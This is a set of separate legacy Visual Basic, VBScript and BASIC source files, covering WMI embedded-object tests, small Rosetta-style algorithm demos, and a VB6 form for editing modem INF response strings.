' uint32 p0 = 25;
' EmbObjInner pOuter = instance of EmbObjInner { pInner = 564; };
' EmbObjInner pOuterArray[] = {
' instance of EmbObjInner { pInner = 0; },
' instance of EmbObjInner { pInner = 1; },
' instance of EmbObjInner { pInner = 2; }
' };
' };
Set EmbObjOuter = Service.Get()
EmbObjOuter.Path_.Class = "EmbObjOuter"
EmbObjOuter.Qualifiers_.Add "wazzuck", "oxter"
EmbObjOuter.Properties_.Add ("p0", 19).Value = 25
Set Property = EmbObjOuter.Properties_.Add ("pOuter", 13)
Set Instance = EmbObjInner.SpawnInstance_
Instance.pInner = 564
Property.Value = Instance
' Add an array of embedded objects property
Set Property = EmbObjOuter.Properties_.Add ("pOuterArray", 13, true)
Property.Qualifiers_.Add "cimtype","object:EmbObjInner"
Set Instance0 = EmbObjInner.SpawnInstance_
Instance0.pInner = 0
Set Instance1 = EmbObjInner.SpawnInstance_
Instance1.pInner = 1
Set Instance2 = EmbObjInner.SpawnInstance_
Instance2.pInner = 2
Property.Value = Array (Instance0, Instance1, Instance2)
Set Instance3 = EmbObjInner.SpawnInstance_
Instance3.pInner = 42
Property.Value(3) = Instance3
Set Instance4 = EmbObjInner.SpawnInstance_
Instance4.pInner = 78
EmbObjOuter.pOuterArray (4) = Instance4
EmbObjOuter.Put_
Set EmbObjOuter = Service.Get("EmbObjOuter")
if Err <> 0 Then
WScript.Echo Err.Description
Err.Clear
End if
'Create a final class which wraps both embedded objects
'
'
Set aClass = Service.Get()
aClass.Path_.Class = "EMBPROPTEST01"
Set Property = aClass.Properties_.Add ("p1", 13)
Set Instance = EmbObjOuter.SpawnInstance_
Instance.p0 = 2546
Property.Value = Instance
aClass.Put_
WScript.Echo "The initial value of p0 is [2546]", Property.Value.p0
WScript.Echo "The initial value of p0 is [2546]", aClass.Properties_("p1").Value.Properties_("p0")
WScript.Echo "The initial value of pInner is [564]", Property.Value.pOuter.pInner
WScript.Echo "The initial value of pInner is [564]", _
aClass.Properties_("p1").Value.Properties_("pOuter").Value.Properties_("pInner")
WScript.Echo "The initial value of EMBPROPTEST01.p1.pOuterArray(0).pInner is [0]:", aClass.p1.pOuterArray(0).pInner
WScript.Echo "The initial value of EMBPROPTEST01.p1.pOuterArray(1).pInner is [1]:", aClass.p1.pOuterArray(1).pInner
WScript.Echo "The initial value of EMBPROPTEST01.p1.pOuterArray(2).pInner is [2]:", aClass.p1.pOuterArray(2).pInner
WScript.Echo "The initial value of EMBPROPTEST01.p1.pOuterArray(3).pInner is [42]:", aClass.p1.pOuterArray(3).pInner
Set aClass = Service.Get("EMBPROPTEST01")
'Now try direct assignment to the outer emb obj
aClass.p1.p0 = 23
WScript.Echo "The new value of p0 is [23]", aClass.p1.p0
Set Property = aClass.p1
Property.p0 = 787
WScript.Echo "The new value of p0 is [787]", aClass.p1.p0
aClass.Properties_("p1").Value.p0 = 56
WScript.Echo "The new value of p0 is [56]", aClass.p1.p0
'Now try direct assignment to the inner emb obj
aClass.p1.pOuter.pInner = 4
WScript.Echo "The new value of pInner is [4]", aClass.p1.pOuter.pInner
Set Property = aClass.p1.pOuter
Property.pInner = 12
WScript.Echo "The new value of pInner is [12]", aClass.p1.pOuter.pInner
'Now try assignment to the inner emb obj array
aClass.p1.pOuterArray(1).pInner = 5675
WScript.Echo "The new value of Class.p1.pOuterArray(1).pInner is [5675]", aClass.p1.pOuterArray(1).pInner
'None of the following will work because VBSCript needs to be told explicitly when to use
'a default automation property (i.e. they all require resolution to the "Value" property
'WScript.Echo "The initial value of p1 is", Class.Properties_("p1").p
'WScript.Echo "The initial value of p1 is", Class.Properties_("p1").Properties_("p")
'WScript.Echo "The initial value of p1 is", Property.p
if Err <> 0 Then
WScript.Echo Err.Description
Err.Clear
End if
|
20 DATA 1,3,5,7,9
30 PRINT "hi"
40 READ y
50 PRINT y
60 READ x
70 PRINT x
80 RESTORE
90 READ z
90 PRINT z
|
Option Explicit
'----------------------------------------------------------------------
Function TransposeMatrix(InitMatrix() As Long, TransposedMatrix() As Long)
Dim l1 As Long, l2 As Long, u1 As Long, u2 As Long, r As Long, c As Long
l1 = LBound(InitMatrix, 1)
l2 = LBound(InitMatrix, 2)
u1 = UBound(InitMatrix, 1)
u2 = UBound(InitMatrix, 2)
ReDim TransposedMatrix(l2 To u2, l1 To u1)
For r = l1 To u1
For c = l2 To u2
TransposedMatrix(c, r) = InitMatrix(r, c)
Next c
Next r
End Function
'----------------------------------------------------------------------
Sub PrintMatrix(a() As Long)
Dim l1 As Long, l2 As Long, u1 As Long, u2 As Long, r As Long, c As Long
Dim s As String * 8
l1 = LBound(a(), 1)
l2 = LBound(a(), 2)
u1 = UBound(a(), 1)
u2 = UBound(a(), 2)
For r = l1 To u1
For c = l2 To u2
RSet s = Str$(a(r, c))
Debug.Print s;
Next c
Debug.Print
Next r
End Sub
'----------------------------------------------------------------------
Sub TranspositionDemo(ByVal DimSize1 As Long, ByVal DimSize2 As Long)
Dim r, c, cc As Long
Dim a() As Long
Dim b() As Long
cc = DimSize2
DimSize1 = DimSize1 - 1
DimSize2 = DimSize2 - 1
ReDim a(0 To DimSize1, 0 To DimSize2)
For r = 0 To DimSize1
For c = 0 To DimSize2
a(r, c) = (cc * r) + c + 1
Next c
Next r
Debug.Print "initial matrix:"
PrintMatrix a()
TransposeMatrix a(), b()
Debug.Print "transposed matrix:"
PrintMatrix b()
End Sub
'----------------------------------------------------------------------
Sub Main()
TranspositionDemo 3, 3
TranspositionDemo 3, 7
End Sub
|
option explicit
'~ dim depth
function ack(m, n)
'~ wscript.stdout.write depth & " "
if m = 0 then
'~ depth = depth + 1
ack = n + 1
'~ depth = depth - 1
elseif m > 0 and n = 0 then
'~ depth = depth + 1
ack = ack(m - 1, 1)
'~ depth = depth - 1
'~ elseif m > 0 and n > 0 then
else
'~ depth = depth + 1
ack = ack(m - 1, ack(m, n - 1))
'~ depth = depth - 1
end if
end function
|
<reponame>LaudateCorpus1/RosettaCodeData<gh_stars>1-10
Option Explicit
Sub Main()
'See Output First call
OtherWay "C:\Users\" & Environ("username") & "\Desktop\foobar.txt", 11, 5
'See Output Second call
OtherWay "C:\Users\" & Environ("username") & "\Desktop\foobar.txt", 8, 5
'See Output Third call
OtherWay "C:\Users\" & Environ("username") & "\Desktop\foobar.txt", 3, 5
End Sub
Private Sub OtherWay(StrFile As String, StartLine As Long, NumberOfLines As Long)
Dim Nb As Integer, s As String, arr, i As Long, out() As String, j As Long
Nb = FreeFile
Open StrFile For Input As #Nb
s = Input(LOF(1), #Nb)
Close #Nb
arr = Split(s, Chr(13))
If StartLine >= UBound(arr) + 1 Then
MsgBox "First call : " & vbCrLf & " The file contains only " & UBound(arr) + 1 & " lines"
ElseIf StartLine + NumberOfLines > UBound(arr) + 1 Then
MsgBox "Second call : " & vbCrLf & " You only can remove " & UBound(arr) + 1 - StartLine & " lines"
Else
For i = LBound(arr) To UBound(arr)
If i < StartLine - 1 Or i >= StartLine + NumberOfLines - 1 Then
ReDim Preserve out(j)
out(j) = arr(i)
j = j + 1
End If
Next i
Nb = FreeFile
Open StrFile For Output As #Nb
Print #Nb, Join(out, Chr(13))
Close #Nb
End If
End Sub
|
<reponame>hanun2999/Altium-Schematic-Parser
'..............................................................................
' Summary Returns the Microsoft Scripting Engine version no.
' Copyright (c) 2004 by Altium Limited
'..............................................................................
'..............................................................................
sub GetScriptEngineInfo
dim s
s = "" 'Build string with necessary info.
s = s & ScriptEngine() & " Version "
s = s & ScriptEngineMajorVersion() & "."
s = s & ScriptEngineMinorVersion() & "."
s = s & ScriptEngineBuildVersion()
showmessage(s)
end sub
'..............................................................................
'..............................................................................
|
Option Explicit
Declare Function ffun Lib "vbafun" (ByRef x As Double, ByRef y As Double) As Double
Sub Test()
Dim x As Double, y As Double
x = 2#
y = 10#
Debug.Print ffun(x, y)
End Sub
|
<filename>Task/Word-wrap/VBScript/word-wrap.vb
column = 60
text = "In olden times when wishing still helped one, there lived a king " &_
"whose daughters were all beautiful, but the youngest was so beautiful "&_
"that the sun itself, which has seen so much, was astonished whenever "&_
"it shone-in-her-face. Close-by-the-king's castle lay a great dark "&_
"forest, and under an old lime-tree in the forest was a well, and when "&_
"the day was very warm, the king's child went out into the forest and "&_
"sat down by the side of the cool-fountain, and when she was bored she "&_
"took a golden ball, and threw it up on high and caught it, and this "&_
"ball was her favorite plaything."
Call wordwrap(text,column)
Sub wordwrap(s,n)
word = Split(s," ")
row = ""
For i = 0 To UBound(word)
If Len(row) = 0 Then
row = row & word(i)
ElseIf Len(row & " " & word(i)) <= n Then
row = row & " " & word(i)
Else
WScript.StdOut.WriteLine row
row = word(i)
End If
Next
If Len(row) > 0 Then
WScript.StdOut.WriteLine row
End If
End Sub
|
<reponame>npocmaka/Windows-Server-2003<filename>net/unimodem/tools/src/frmresponse.frm<gh_stars>10-100
VERSION 5.00
Object = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}#1.3#0"; "COMCTL32.OCX"
Object = "{BDC217C8-ED16-11CD-956C-0000C04E4C0A}#1.1#0"; "TABCTL32.OCX"
Begin VB.Form frmResponse
BorderStyle = 0 'None
Caption = "Response State"
ClientHeight = 5730
ClientLeft = 0
ClientTop = 0
ClientWidth = 9480
LinkTopic = "Form1"
MDIChild = -1 'True
ScaleHeight = 5730
ScaleWidth = 9480
ShowInTaskbar = 0 'False
Visible = 0 'False
Begin VB.CommandButton cmdAddValue
Caption = "&Add Value"
Enabled = 0 'False
BeginProperty Font
Name = "Small Fonts"
Size = 6
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 220
Left = 6465
TabIndex = 7
Top = 5485
Visible = 0 'False
Width = 930
End
Begin ComctlLib.StatusBar StatusBar1
Align = 2 'Align Bottom
Height = 300
Left = 0
TabIndex = 8
Top = 5430
Width = 9480
_ExtentX = 16722
_ExtentY = 529
SimpleText = ""
_Version = 327682
BeginProperty Panels {0713E89E-850A-101B-AFC0-4210102A8DA7}
NumPanels = 3
BeginProperty Panel1 {0713E89F-850A-101B-AFC0-4210102A8DA7}
AutoSize = 1
Object.Width = 13070
TextSave = ""
Key = ""
Object.Tag = ""
EndProperty
BeginProperty Panel2 {0713E89F-850A-101B-AFC0-4210102A8DA7}
Style = 6
AutoSize = 2
Object.Width = 1773
MinWidth = 1764
TextSave = "9/16/98"
Key = ""
Object.Tag = ""
EndProperty
BeginProperty Panel3 {0713E89F-850A-101B-AFC0-4210102A8DA7}
Style = 5
AutoSize = 2
Object.Width = 1773
MinWidth = 1764
TextSave = "1:05 PM"
Key = ""
Object.Tag = ""
EndProperty
EndProperty
BeginProperty Font {0BE35203-8F91-11CE-9DE3-00AA004BB851}
Name = "<NAME>"
Size = 8.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
End
Begin TabDlg.SSTab SSTab1
Height = 5055
Left = 0
TabIndex = 1
TabStop = 0 'False
Top = 360
Width = 9405
_ExtentX = 16589
_ExtentY = 8916
_Version = 393216
Tabs = 5
Tab = 3
TabsPerRow = 8
TabHeight = 794
ShowFocusRect = 0 'False
BeginProperty Font {0BE35203-8F91-11CE-9DE3-00AA004BB851}
Name = "<NAME>"
Size = 8.25
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
TabCaption(0) = "Response Text"
TabPicture(0) = "frmResponse.frx":0000
Tab(0).ControlEnabled= 0 'False
Tab(0).Control(0)= "Combo1"
Tab(0).Control(0).Enabled= 0 'False
Tab(0).ControlCount= 1
TabCaption(1) = " Response State"
TabPicture(1) = "frmResponse.frx":001C
Tab(1).ControlEnabled= 0 'False
Tab(1).Control(0)= "Combo2"
Tab(1).Control(0).Enabled= 0 'False
Tab(1).ControlCount= 1
TabCaption(2) = "Negotiated Options"
TabPicture(2) = "frmResponse.frx":0038
Tab(2).ControlEnabled= 0 'False
Tab(2).Control(0)= "List1"
Tab(2).ControlCount= 1
TabCaption(3) = "Negotiated DCE Rate"
TabPicture(3) = "frmResponse.frx":0054
Tab(3).ControlEnabled= -1 'True
Tab(3).Control(0)= "Combo3"
Tab(3).Control(0).Enabled= 0 'False
Tab(3).ControlCount= 1
TabCaption(4) = "Negotiated DTE Rate"
TabPicture(4) = "frmResponse.frx":0070
Tab(4).ControlEnabled= 0 'False
Tab(4).Control(0)= "Combo4"
Tab(4).Control(0).Enabled= 0 'False
Tab(4).ControlCount= 1
Begin VB.ComboBox Combo4
BeginProperty Font
Name = "MS Sans Serif"
Size = 9.75
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 360
ItemData = "frmResponse.frx":008C
Left = -74880
List = "frmResponse.frx":00F6
TabIndex = 6
Top = 600
Width = 9135
End
Begin VB.ComboBox Combo3
BeginProperty Font
Name = "MS Sans Serif"
Size = 9.75
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 360
ItemData = "frmResponse.frx":01DC
Left = 120
List = "frmResponse.frx":024F
TabIndex = 5
Top = 600
Width = 9135
End
Begin VB.ListBox List1
Columns = 1
Enabled = 0 'False
Height = 4335
ItemData = "frmResponse.frx":034C
Left = -74880
List = "frmResponse.frx":0368
Style = 1 'Checkbox
TabIndex = 4
Top = 600
Width = 9135
End
Begin VB.ComboBox Combo2
BeginProperty Font
Name = "MS Sans Serif"
Size = 9.75
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 360
ItemData = "frmResponse.frx":03D1
Left = -74880
List = "frmResponse.frx":0417
TabIndex = 3
Top = 600
Width = 9135
End
Begin VB.ComboBox Combo1
BeginProperty Font
Name = "MS Sans Serif"
Size = 9.75
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 360
Left = -74880
Style = 1 'Simple Combo
TabIndex = 2
Top = 600
Width = 9135
End
End
Begin VB.TextBox Text1
Height = 285
Left = 0
TabIndex = 0
Top = 0
Width = 9495
End
Begin VB.Label Label1
Caption = "Response"
Height = 495
Left = 4200
TabIndex = 9
Top = 2280
Width = 1215
End
End
Attribute VB_Name = "frmResponse"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Dim HKR As String
Dim Response As String
Dim State As String
Dim Options As String
Dim Options2 As String
Dim DCE As String
Dim DTE As String
Dim Output As String
Dim Comment(31) As String
Dim Tem As Integer
Const Q As String = """"
Const Delim As String = ","
Const One As String = ", 1, "
Const H As String = "&H"
Dim FirstDword1, FirstDword2, FirstDword3, FirstDword4 As Variant
Dim SecondDword1, SecondDword2, SecondDword3, SecondDword4 As Variant
Dim WhichTab As Integer
Private Sub Combo1_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
Response = Combo1.Text
Update
Dim strFirst As String
strFirst = Len(HKR & Q)
Text1.SelStart = strFirst
Text1.SelLength = Len(Response)
Text1.SetFocus
End If
End Sub
Private Sub Combo1_LostFocus()
Response = Combo1.Text
Update
End Sub
Private Sub Combo2_Click()
ChangeState (Combo2.Text)
Dim strFirst As String
strFirst = Len(HKR & Q & Response & Q & One & " ")
Text1.SelStart = strFirst
Text1.SelLength = Len(State)
Text1.SetFocus
End Sub
Private Sub Combo2_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
ChangeState (Combo2.Text)
strFirst = Len(HKR & Q & Response & Q & One & " ")
Text1.SelStart = strFirst
Text1.SelLength = Len(State)
Text1.SetFocus
End If
End Sub
Private Sub Combo2_LostFocus()
ChangeState (Combo2.Text)
End Sub
Private Sub Combo3_Click()
DCE = Combo3.Text
If DCE = "" Then
DCE = 0
End If
If DCE > 100000000 Then
DCE = 0
Combo3.Text = 0
End If
HexCon (DCE)
DCE = HexNum
Update
Dim strFirst As String
strFirst = Len(HKR & Q & Response & Q & One & " " & State & Delim & " " & Options & Delim & " ")
Text1.SelStart = strFirst
Text1.SelLength = Len(DCE)
Text1.SetFocus
End Sub
Private Sub Combo3_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
DCE = Combo3.Text
If DCE = "" Then
DCE = 0
End If
If DCE > 100000000 Then
DCE = 0
Combo3.Text = 0
End If
HexCon (DCE)
DCE = HexNum
Update
Dim strFirst As String
strFirst = Len(HKR & Q & Response & Q & One & " " & State & Delim & " " & Options & Delim & " ")
Text1.SelStart = strFirst
Text1.SelLength = Len(DCE)
Text1.SetFocus
ElseIf (KeyAscii < 48 Or KeyAscii > 57) And KeyAscii <> 46 Then
Beep
KeyAscii = 0
End If
End Sub
Private Sub Combo3_LostFocus()
DCE = Combo3.Text
If DCE = "" Then
DCE = 0
End If
If DCE > 100000000 Then
DCE = 0
Combo3.Text = 0
End If
HexCon (DCE)
DCE = HexNum
Update
End Sub
Private Sub Combo4_Click()
DTE = Combo4.Text
If DTE = "" Then
DTE = 0
End If
If DTE > 100000000 Then
DTE = 0
Combo3.Text = 0
End If
HexCon (DTE)
DTE = HexNum
Update
Dim strFirst As String
strFirst = Len(HKR & Q & Response & Q & One & " " & State & Delim & " " & Options & Delim & " " & DCE & Delim & " ")
Text1.SelStart = strFirst
Text1.SelLength = Len(DTE)
Text1.SetFocus
End Sub
Private Sub Combo4_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
DTE = Combo4.Text
If DTE = "" Then
DTE = 0
End If
If DTE > 100000000 Then
DTE = 0
Combo4.Text = 0
End If
HexCon (DTE)
DTE = HexNum
Update
Dim strFirst As String
strFirst = Len(HKR & Q & Response & Q & One & " " & State & Delim & " " & Options & Delim & " " & DCE & Delim & " ")
Text1.SelStart = strFirst
Text1.SelLength = Len(DTE)
Text1.SetFocus
ElseIf (KeyAscii < 48 Or KeyAscii > 57) And KeyAscii <> 46 Then
Beep
KeyAscii = 0
End If
End Sub
Private Sub Combo4_LostFocus()
DTE = Combo4.Text
If DTE = "" Then
DTE = 0
End If
If DTE > 100000000 Then
DTE = 0
Combo4.Text = 0
End If
HexCon (DTE)
DTE = HexNum
Update
End Sub
Public Sub ClearControl()
HKR = "HKR, Responses, "
Response = ""
Combo1 = ""
State = "00"
Combo2 = "OK"
Options = "00"
Options2 = "00"
Dim i As Integer
For i = 0 To 7
List1.Selected(i) = False
Next i
List1.Enabled = False
DCE = "0"
HexCon (DCE)
DCE = HexNum
Combo3 = ""
DTE = "0"
HexCon (DTE)
DTE = HexNum
Combo4 = ""
Update
SSTab1.Tab = 0
Dim strFirst As String
strFirst = Len(HKR & Q)
Text1.SelStart = strFirst
Text1.SelLength = Len(Response)
If frmResponse.Visible = False Then
frmResponse.Show
End If
Text1.SetFocus
StatusBar1.Panels.Item(1).Text = "Comment1"
End Sub
Public Sub Paste(Incoming As String)
ClearControl
GetWord (Incoming)
If SecondDword4 = "" Then
Message = MsgBox(Q & Incoming & Q & " is not a valid input")
ClearControl
Else
'Take all the values, assign them to their respective controls and then use Update() to create Output
Combo1.Text = Response
PasteResponse (State)
Dim X
X = (H & Options2)
List1.Selected(0) = X And &H1
List1.Selected(1) = X And &H2
List1.Selected(2) = X And &H4
List1.Selected(3) = X And &H8
List1.Selected(4) = X And &H10
List1.Selected(5) = X And &H20
List1.Selected(6) = X And &H40
List1.Selected(7) = X And &H80
Options = Options2
Combo3.Text = CDec(H & FirstDword4 & FirstDword3 & FirstDword2 & FirstDword1)
DCE = Combo3.Text
HexCon (DCE)
DCE = HexNum
Combo4.Text = CDec(H & SecondDword4 & SecondDword3 & SecondDword2 & SecondDword1)
DTE = Combo4.Text
HexCon (DTE)
DTE = HexNum
Update
SSTab1.Tab = 0
Dim strFirst As String
strFirst = Len(HKR & Q)
Text1.SelStart = strFirst
Text1.SelLength = Len(Response)
Text1.SetFocus
End If
End Sub
Private Sub GetWord(strString As String)
Dim strSubString As String
Dim lStart As Long
Dim lStop As Long
Const H As String = "&H"
lStart = 1
lStop = Len(strString)
While lStart < lStop And Q <> Mid$(strString, lStart, 1) ' Loop until first " found
lStart = lStart + 1
Wend
lStop = lStart
While Q <> Mid$(strString, lStop + 1, 1) And lStop <= Len(strString) ' Loop until last " found
lStop = lStop + 1
Wend
Response = Mid$(strString, lStart + 1, lStop - lStart) ' Grab word found between "'s
strSubString = Mid$(strString, lStop + 2)
lStart = 1
lStop = Len(strSubString)
While lStart < lStop And "," <> Mid$(strSubString, lStart, 1) ' Loop until first , found
lStart = lStart + 1
Wend
lStop = lStart
While "," <> Mid$(strSubString, lStop + 1, 1) And lStop <= Len(strSubString) ' Loop until last , found
lStop = lStop + 1
Wend
'One = Mid$(strSubString, lStart + 1, lStop - 1) ' Grab word found between ,'s
strSubString = Mid$(strSubString, lStop + 1)
'Clean (One)
'One = Right$(BNum, 1)
lStart = 1
lStop = Len(strSubString)
While lStart < lStop And "," <> Mid$(strSubString, lStart, 1) ' Loop until first , found
lStart = lStart + 1
Wend
lStop = lStart
While "," <> Mid$(strSubString, lStop + 1, 1) And lStop <= Len(strSubString) ' Loop until last , found
lStop = lStop + 1
Wend
State = Mid$(strSubString, lStart + 1, lStop - 1) ' Grab word found between ,'s
strSubString = Mid$(strSubString, lStop + 1)
Clean (State)
State = CleanNum
lStart = 1
lStop = Len(strSubString)
While lStart < lStop And "," <> Mid$(strSubString, lStart, 1) ' Loop until first , found
lStart = lStart + 1
Wend
lStop = lStart
While "," <> Mid$(strSubString, lStop + 1, 1) And lStop <= Len(strSubString) ' Loop until last , found
lStop = lStop + 1
Wend
Options2 = Mid$(strSubString, lStart + 1, lStop - 1) ' Grab word found between ,'s
strSubString = Mid$(strSubString, lStop + 1)
Clean (Options2)
Options2 = CleanNum
lStart = 1
lStop = Len(strSubString)
While lStart < lStop And "," <> Mid$(strSubString, lStart, 1) ' Loop until first , found
lStart = lStart + 1
Wend
lStop = lStart
While "," <> Mid$(strSubString, lStop + 1, 1) And lStop <= Len(strSubString) ' Loop until last , found
lStop = lStop + 1
Wend
FirstDword1 = Mid$(strSubString, lStart + 1, lStop - 1) ' Grab word found between ,'s
strSubString = Mid$(strSubString, lStop + 1)
Clean (FirstDword1)
FirstDword1 = CleanNum
lStart = 1
lStop = Len(strSubString)
While lStart < lStop And "," <> Mid$(strSubString, lStart, 1) ' Loop until first , found
lStart = lStart + 1
Wend
lStop = lStart
While "," <> Mid$(strSubString, lStop + 1, 1) And lStop <= Len(strSubString) ' Loop until last , found
lStop = lStop + 1
Wend
FirstDword2 = Mid$(strSubString, lStart + 1, lStop - 1) ' Grab word found between ,'s
strSubString = Mid$(strSubString, lStop + 1)
Clean (FirstDword2)
FirstDword2 = CleanNum
lStart = 1
lStop = Len(strSubString)
While lStart < lStop And "," <> Mid$(strSubString, lStart, 1) ' Loop until first , found
lStart = lStart + 1
Wend
lStop = lStart
While "," <> Mid$(strSubString, lStop + 1, 1) And lStop <= Len(strSubString) ' Loop until last , found
lStop = lStop + 1
Wend
FirstDword3 = Mid$(strSubString, lStart + 1, lStop - 1) ' Grab word found between ,'s
strSubString = Mid$(strSubString, lStop + 1)
Clean (FirstDword3)
FirstDword3 = CleanNum
lStart = 1
lStop = Len(strSubString)
While lStart < lStop And "," <> Mid$(strSubString, lStart, 1) ' Loop until first , found
lStart = lStart + 1
Wend
lStop = lStart
While "," <> Mid$(strSubString, lStop + 1, 1) And lStop <= Len(strSubString) ' Loop until last , found
lStop = lStop + 1
Wend
FirstDword4 = Mid$(strSubString, lStart + 1, lStop - 1) ' Grab word found between ,'s
strSubString = Mid$(strSubString, lStop + 1)
Clean (FirstDword4)
FirstDword4 = CleanNum
lStart = 1
lStop = Len(strSubString)
While lStart < lStop And "," <> Mid$(strSubString, lStart, 1) ' Loop until first , found
lStart = lStart + 1
Wend
lStop = lStart
While "," <> Mid$(strSubString, lStop + 1, 1) And lStop <= Len(strSubString) ' Loop until last , found
lStop = lStop + 1
Wend
SecondDword1 = Mid$(strSubString, lStart + 1, lStop - 1) ' Grab word found between ,'s
strSubString = Mid$(strSubString, lStop + 1)
Clean (SecondDword1)
SecondDword1 = CleanNum
lStart = 1
lStop = Len(strSubString)
While lStart < lStop And "," <> Mid$(strSubString, lStart, 1) ' Loop until first , found
lStart = lStart + 1
Wend
lStop = lStart
While "," <> Mid$(strSubString, lStop + 1, 1) And lStop <= Len(strSubString) ' Loop until last , found
lStop = lStop + 1
Wend
SecondDword2 = Mid$(strSubString, lStart + 1, lStop - 1) ' Grab word found between ,'s
strSubString = Mid$(strSubString, lStop + 1)
Clean (SecondDword2)
SecondDword2 = CleanNum
lStart = 1
lStop = Len(strSubString)
While lStart < lStop And "," <> Mid$(strSubString, lStart, 1) ' Loop until first , found
lStart = lStart + 1
Wend
lStop = lStart
While "," <> Mid$(strSubString, lStop + 1, 1) And lStop <= Len(strSubString) ' Loop until last , found
lStop = lStop + 1
Wend
SecondDword3 = Mid$(strSubString, lStart + 1, lStop - 1) ' Grab word found between ,'s
strSubString = Mid$(strSubString, lStop + 1)
Clean (SecondDword3)
SecondDword3 = CleanNum
lStart = 1
lStop = Len(strSubString)
While lStart < lStop And "," <> Mid$(strSubString, lStart, 1) ' Loop until first , found
lStart = lStart + 1
Wend
lStop = lStart
While "," <> Mid$(strSubString, lStop + 1, 1) And lStop <= Len(strSubString) And " " <> Mid$(strSubString, lStop + 1, 1) And vbTab <> Mid$(strSubString, lStop + 1, 1) ' Loop until last , found
lStop = lStop + 1
Wend
SecondDword4 = Mid$(strSubString, lStart + 1, lStop - 1) ' Grab word found between ,'s
strSubString = Mid$(strSubString, lStop + 1)
Clean (SecondDword4)
SecondDword4 = CleanNum
End Sub
Private Sub Update()
Output = HKR & Q & Response & Q & One & " " & State & Delim & " " & Options & Delim & " " & DCE & Delim & " " & DTE
Text1.Text = Output
End Sub
Public Sub PasteResponse(Number As String)
frmResponse.List1.Enabled = False
Select Case Number
Case "00"
Combo2.Text = "OK"
Case "01"
Combo2.Text = "Negotiation Progress"
frmResponse.List1.Enabled = True
Case "02"
Combo2.Text = "Connect"
frmResponse.List1.Enabled = True
Case "03"
Combo2.Text = "Error"
Case "04"
Combo2.Text = "No Carrier"
Case "05"
Combo2.Text = "No Dialtone"
Case "06"
Combo2.Text = "Busy"
Case "07"
Combo2.Text = "No Answer"
Case "08"
Combo2.Text = "Ring"
Case "91"
Combo2.Text = "Ring Duration"
Case "92"
Combo2.Text = "Ring Break"
Case "93"
Combo2.Text = "Date"
Case "94"
Combo2.Text = "Time"
Case "95"
Combo2.Text = "Number"
Case "96"
Combo2.Text = "Name"
Case "97"
Combo2.Text = "Message"
Case "18"
Combo2.Text = "Single Ring"
Case "19"
Combo2.Text = "Double Ring"
Case "1A"
Combo2.Text = "Triple Ring"
Case "1B"
Combo2.Text = "Reserved"
Case "1C"
Combo2.Text = "Blocked"
Case "1D"
Combo2.Text = "Delayed"
Case Else
Combo2.Text = "Unrecognized"
End Select
End Sub
Private Sub ChangeState(UserInput As String)
UserInput = UCase(UserInput)
Select Case UserInput
Case "OK"
State = "00"
frmResponse.List1.Enabled = False
Case "VCON"
State = "00"
frmResponse.List1.Enabled = False
Case "NEGOTIATION PROGRESS"
State = "01"
frmResponse.List1.Enabled = True
Case "CONNECT"
State = "02"
frmResponse.List1.Enabled = True
Case "ERROR"
State = "03"
frmResponse.List1.Enabled = False
Case "NO CARRIER"
State = "04"
frmResponse.List1.Enabled = False
Case "NO DIALTONE"
State = "05"
frmResponse.List1.Enabled = False
Case "BUSY"
State = "06"
frmResponse.List1.Enabled = False
Case "NO ANSWER"
State = "07"
frmResponse.List1.Enabled = False
Case "RING"
State = "08"
frmResponse.List1.Enabled = False
Case "RING DURATION"
State = "91"
frmResponse.List1.Enabled = False
Case "RING BREAK"
State = "92"
frmResponse.List1.Enabled = False
Case "DATE"
State = "93"
frmResponse.List1.Enabled = False
Case "TIME"
State = "94"
frmResponse.List1.Enabled = False
Case "NUMBER"
State = "95"
frmResponse.List1.Enabled = False
Case "NAME"
State = "96"
frmResponse.List1.Enabled = False
Case "MESSAGE"
State = "97"
frmResponse.List1.Enabled = False
Case "SINGLE RING"
State = "18"
frmResponse.List1.Enabled = False
Case "DOUBLE RING"
State = "19"
frmResponse.List1.Enabled = False
Case "TRIPLE RING"
State = "1A"
frmResponse.List1.Enabled = False
'Case "RESERVED"
'State = "1B"
Case "BLOCKED"
State = "1C"
frmResponse.List1.Enabled = False
Case "DELAYED"
State = "1D"
frmResponse.List1.Enabled = False
Case Else
State = "00"
frmResponse.List1.Enabled = False
Combo2.Text = "Unrecognized"
End Select
Update
End Sub
Private Sub Form_Load()
Comment(0) = "Compression negotiated."
Comment(1) = "Error control negotiated."
Comment(2) = ""
Comment(3) = "Cellular protocol negotiated.Unavailable unless Error Control is selected."
Comment(4) = ""
Comment(5) = ""
Comment(6) = ""
Comment(7) = ""
ClearControl
End Sub
Private Sub Form_Resize()
Text1.Width = frmResponse.Width
SSTab1.Width = frmResponse.Width - 75
SSTab1.Height = frmResponse.Height - 675
List1.Height = SSTab1.Height - 645
List1.Width = SSTab1.Width - 270
cmdAddValue.Top = frmResponse.Height - 245
cmdAddValue.Left = frmResponse.Width - 3015
Combo1.Width = SSTab1.Width - 270
Combo2.Width = SSTab1.Width - 270
Combo3.Width = SSTab1.Width - 270
Combo4.Width = SSTab1.Width - 270
End Sub
Private Sub List1_Click()
List1.Refresh
StatusBar1.Panels.Item(1).Text = Comment(List1.ListIndex)
strFirst = Len(HKR & Q & Response & Q & One & " " & State & Delim & " ")
Text1.SelStart = strFirst
Text1.SelLength = Len(Options)
Text1.SetFocus
End Sub
Private Sub List1_ItemCheck(Item As Integer)
Dim Num As Long
Dim Number As Long
